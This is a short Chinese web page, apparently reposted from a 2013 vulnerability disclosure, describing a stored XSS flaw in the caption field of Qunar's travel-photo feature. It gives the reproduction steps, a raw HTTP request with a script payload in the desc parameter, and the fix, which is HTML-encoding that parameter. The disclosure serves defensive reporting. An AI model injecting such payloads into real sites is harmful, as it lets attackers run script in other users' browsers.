当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

去哪儿一处存储型XSS漏洞

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

在旅途频道,

1、发表一篇游记

2、添加一批图片

3、在图片下方插入文本

4、截包修改,desc参数存在问题。如下:

  涛涛电脑知识技巧

GET /mobile_ugc/web/editMiniPic.htm?picId=80371&desc=<script>if(location.hash!%3D"")alert(location.hash)</script>&random=1348498825316 HTTP/1.1

Host: lvtu.qunar.com

Proxy-Connection: Keep-Alive

Cookie: ……

 

 

访问该地址看效果

?albumId=4228#aaa

 

 

 

 

 

修复方案:

对desc参数进行html编码

 

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1